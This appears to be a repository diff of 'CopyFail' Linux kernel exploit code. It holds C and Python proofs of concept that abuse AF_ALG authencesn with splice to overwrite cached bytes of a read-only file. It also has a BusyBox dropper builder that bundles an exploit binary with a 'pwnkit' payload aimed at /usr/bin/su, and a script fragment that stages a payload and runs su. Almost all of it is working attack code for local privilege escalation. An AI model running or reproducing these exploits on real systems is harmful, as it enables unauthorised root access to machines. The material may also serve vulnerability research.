chunk = payload[target_offset : target_offset + 4]
overwrite_4_bytes(file_fd, target_offset, chunk)
finally:
os.close(file_fd)
print("[+] payload staged into page cache, executing target...")
os.system("su")
if __name__ == "__main__":
main()

View file

@ -0,0 +1,76 @@
#!/bin/sh
#
# Build a BusyBox-compatible self-extracting CopyFail runner.
#
# Usage:
# sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
# busybox sh copyfail-busybox.sh /usr/bin/su
#
# The generated script uses only common BusyBox applets: sh, printf, chmod,
# mkdir, rm, cd, and exec.
set -eu
if [ "$#" -ne 2 ]; then
echo "usage: $0 <exploit_asm> <payload.pwnkit.elf>" >&2
exit 1
fi
exploit_bin=$1
payload_elf=$2
[ -r "$exploit_bin" ] || { echo "cannot read exploit binary: $exploit_bin" >&2; exit 1; }
[ -r "$payload_elf" ] || { echo "cannot read payload ELF: $payload_elf" >&2; exit 1; }
emit_file() {
src=$1
dst=$2
printf "write_blob \"%s\" <<'__COPYFAIL_BLOB__'\n" "$dst"
od -An -tx1 -v "$src" |
awk '
{
for (i = 1; i <= NF; i++) {
buf = buf "\\x" $i
if (length(buf) >= 192) {
print buf
buf = ""
}
}
}
END {
if (length(buf))
print buf
}'
printf "__COPYFAIL_BLOB__\n"
}
cat <<'EOF'
#!/bin/sh
set -eu
d=${TMPDIR:-/tmp}/.copyfail.$$
mkdir "$d" || exit 1
trap 'rm -rf "$d"' EXIT HUP INT TERM
umask 077
write_blob() {
out=$1
: > "$out"
while IFS= read -r line; do
[ "$line" = "__COPYFAIL_BLOB__" ] && break
printf '%b' "$line" >> "$out"
done
}
EOF
emit_file "$exploit_bin" '$d/exploit_asm'
emit_file "$payload_elf" '$d/payload.pwnkit.elf'
cat <<'EOF'
chmod 700 "$d/exploit_asm"
cd "$d"
exec ./exploit_asm "${1:-/usr/bin/su}"
EOF

View file

@ -0,0 +1,322 @@
// copyfail_poc.c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_IV
#define ALG_SET_IV 2
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif
#ifndef ALG_OP_DECRYPT
#define ALG_OP_DECRYPT 0
#endif
#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
enum {
CRYPTO_AUTHENC_KEYA_UNSPEC,
CRYPTO_AUTHENC_KEYA_PARAM,
};
struct crypto_authenc_key_param {
uint32_t enckeylen;
};
struct af_alg_iv_custom {
uint32_t ivlen;
uint8_t iv[16];
};
static void die(const char *msg)
{
if (!strcmp(msg, "bind(AF_ALG)") && errno == ENOENT) {
fprintf(stderr,
"[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).\n"
"[!] Check /proc/crypto and try: sudo modprobe authencesn\n");
}
perror(msg);
exit(EXIT_FAILURE);
}
static void print_marker(const char *label, const char *path, off_t off)
{
int fd;
uint8_t b[4];
fd = open(path, O_RDONLY);
if (fd < 0)
die("open(print marker)");
if (pread(fd, b, sizeof(b), off) != (ssize_t)sizeof(b))
die("pread(marker)");
printf("%s @ 0x%llx = %02x %02x %02x %02x (%.4s)\n",
label, (long long)off, b[0], b[1], b[2], b[3],
(const char *)b);
close(fd);
}
static void create_target_file(const char *path, off_t overwrite_off)
{
int fd;
uint8_t fill = 'A';
uint8_t marker[4] = { 'O', 'R', 'I', 'G' };
off_t i;
fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
if (fd < 0)
die("open(create target)");
for (i = 0; i < 0x3000; i++) {
if (write(fd, &fill, 1) != 1)
die("write(fill target)");
}
if (pwrite(fd, marker, sizeof(marker), overwrite_off) != (ssize_t)sizeof(marker))
die("pwrite(marker)");
/*
* Make the baseline file contents durable first. Otherwise the
* target page may still be dirty from file creation, and
* drop_caches will refuse to evict it during verification.
*/
if (fsync(fd) < 0)
die("fsync(target)");
if (fchmod(fd, 0444) < 0)
die("fchmod(target)");
close(fd);
}
static void configure_aead(int tfm_fd)
{
unsigned int authsize = 0x10;
struct {
struct rtattr rta;
struct crypto_authenc_key_param param;
uint8_t keys[32 + 16];
} keybuf = {
.rta = {
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
},
.param = {
.enckeylen = htonl(16),
},
};
memset(keybuf.keys, 0x41, 32);
memset(keybuf.keys + 32, 0x42, 16);
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, &keybuf, sizeof(keybuf)) < 0)
die("setsockopt(ALG_SET_KEY)");
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize) < 0)
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
printf("[+] AEAD configured: authkey=32, enckey=16, authsize=0x%x\n",
authsize);
}
static void queue_aad(int op_fd, const uint8_t write_value[4])
{
uint8_t aad[8];
uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(struct af_alg_iv_custom)) +
CMSG_SPACE(sizeof(uint32_t))];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
uint32_t op = ALG_OP_DECRYPT;
uint32_t assoclen = sizeof(aad);
memset(aad, 'A', 4);
memcpy(aad + 4, write_value, 4);
iov.iov_base = aad;
iov.iov_len = sizeof(aad);
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv_custom));
{
struct af_alg_iv_custom *iv =
(struct af_alg_iv_custom *)CMSG_DATA(cmsg);
iv->ivlen = 16;
memset(iv->iv, 0x44, sizeof(iv->iv));
}
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
die("sendmsg(AAD)");
printf("[+] AAD queued: assoclen=%u, AAD[4:8]=%.4s\n",
assoclen, (const char *)write_value);
}
int main(void)
{
const char *target = "./target.bin";
const off_t overwrite_off = 0x1234;
const size_t authsize = 0x10;
const size_t splice_len = 0x20;
off_t splice_off = overwrite_off - (splice_len - authsize);
uint8_t write_value[4] = { 'P', 'W', 'N', '!' };
int tfm_fd, op_fd, file_fd;
int pipefd[2];
uint8_t rx[0x1000];
printf("[+] target : %s\n", target);
printf("[+] overwrite : file offset 0x%llx\n", (long long)overwrite_off);
printf("[+] splice : offset=0x%llx len=0x%zx authsize=0x%zx\n",
(long long)splice_off, splice_len, authsize);
printf("[+] write value : %.4s\n", (const char *)write_value);
/*
* 1. Create a harmless read-only lab target.
*/
create_target_file(target, overwrite_off);
print_marker("[+] marker before", target, overwrite_off);
/*
* 2. Open AF_ALG transform socket.
*/
tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfm_fd < 0)
die("socket(AF_ALG)");
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(AF_ALG)");
printf("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))\n");
/*
* 3. Configure transform, then accept operation socket.
*/
configure_aead(tfm_fd);
op_fd = accept(tfm_fd, NULL, NULL);
if (op_fd < 0)
die("accept(AF_ALG)");
printf("[+] accepted operation socket: fd=%d\n", op_fd);
/*
* 4. Queue attacker-controlled AAD.
* AAD[4:8] becomes seqno_lo, the 4-byte value to write.
*/
queue_aad(op_fd, write_value);
/*
* 5. Splice target file bytes into a pipe.
* The selected range is [0x1224, 0x1244), so the tag region
* begins at 0x1234.
*/
file_fd = open(target, O_RDONLY);
if (file_fd < 0)
die("open(target)");
if (pipe(pipefd) < 0)
die("pipe");
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
die("splice(file -> pipe)");
printf("[+] splice(file -> pipe): 0x%zx bytes from file offset 0x%llx\n",
splice_len, (long long)(overwrite_off - (splice_len - authsize)));
/*
* 6. Splice the pipe into the AF_ALG operation socket.
* Kernel-side: pipe_buffer -> bio_vec -> MSG_SPLICE_PAGES
* -> AF_ALG TX scatterlist.
*/
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
die("splice(pipe -> AF_ALG)");
printf("[+] splice(pipe -> AF_ALG): 0x%zx bytes\n", splice_len);
/*
* 7. Trigger decrypt.
* Authentication is expected to fail; the scratch write is the point.
*/
if (recv(op_fd, rx, sizeof(rx), 0) < 0)
fprintf(stderr, "recv failed as expected: %s\n", strerror(errno));
else
printf("[+] recv returned data\n");
print_marker("[+] marker after ", target, overwrite_off);
printf("[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
printf("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n");
printf("[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
printf("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches\n");
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
close(op_fd);
close(tfm_fd);
return 0;
}

View file

@ -0,0 +1,115 @@
# copyfail_poc.py
import os
import struct
import socket
from pathlib import Path
AF_ALG = 38
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
ALG_OP_DECRYPT = 0
CRYPTO_AUTHENC_KEYA_PARAM = 1
target = "./target.bin"
overwrite_off = 0x1234
authsize = 0x10
splice_len = 0x20
splice_off = overwrite_off - (splice_len - authsize)
write_value = b"PWN!"
aad = b"A" * 4 + write_value
def marker(label):
with target_path.open("rb") as f:
f.seek(overwrite_off)
b = f.read(4)
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
print(f"[+] target : {Path(target).expanduser()}")
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
print(f"[+] write value : {write_value!r}")
# 1. Create a harmless read-only lab target.
target_path = Path(target).expanduser()
target_path.parent.mkdir(parents=True, exist_ok=True)
data = bytearray(b"X" * 0x3000)
data[overwrite_off:overwrite_off + 4] = b"ORIG"
target_path.write_bytes(data)
with target_path.open("rb") as f:
os.fsync(f.fileno())
target_path.chmod(0o444)
marker("[+] marker before")
# 2. Open AF_ALG transform socket.
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
try:
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
except FileNotFoundError:
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
raise
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
# 3. Configure the authenc-compatible key blob and authsize, then accept.
key_blob = (
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
struct.pack("!I", 16) +
(b"A" * 32) +
(b"B" * 16)
)
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
op, _ = tfm.accept()
print(f"[+] accepted operation socket: fd={op.fileno()}")
# 4. Queue attacker-controlled AAD.
# AAD[4:8] is the 4-byte value authencesn later writes.
iv = struct.pack("I", 16) + (b"\x44" * 16)
op.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_IV, iv),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
],
socket.MSG_MORE,
)
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
# 5. Splice target file bytes into a pipe.
r, w = os.pipe()
fd = os.open(str(target_path), os.O_RDONLY)
os.splice(fd, w, splice_len, splice_off, None, 0)
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
# 6. Splice pipe into AF_ALG operation socket.
os.splice(r, op.fileno(), splice_len, None, None, 0)
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
# 7. Trigger decrypt. Authentication is expected to fail.
try:
op.recv(0x1000)
print("[+] recv returned data")
except OSError as e:
print(f"recv failed as expected: {e}")
marker("[+] marker after ")
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
os.close(fd)
os.close(r)
os.close(w)
op.close()
tfm.close()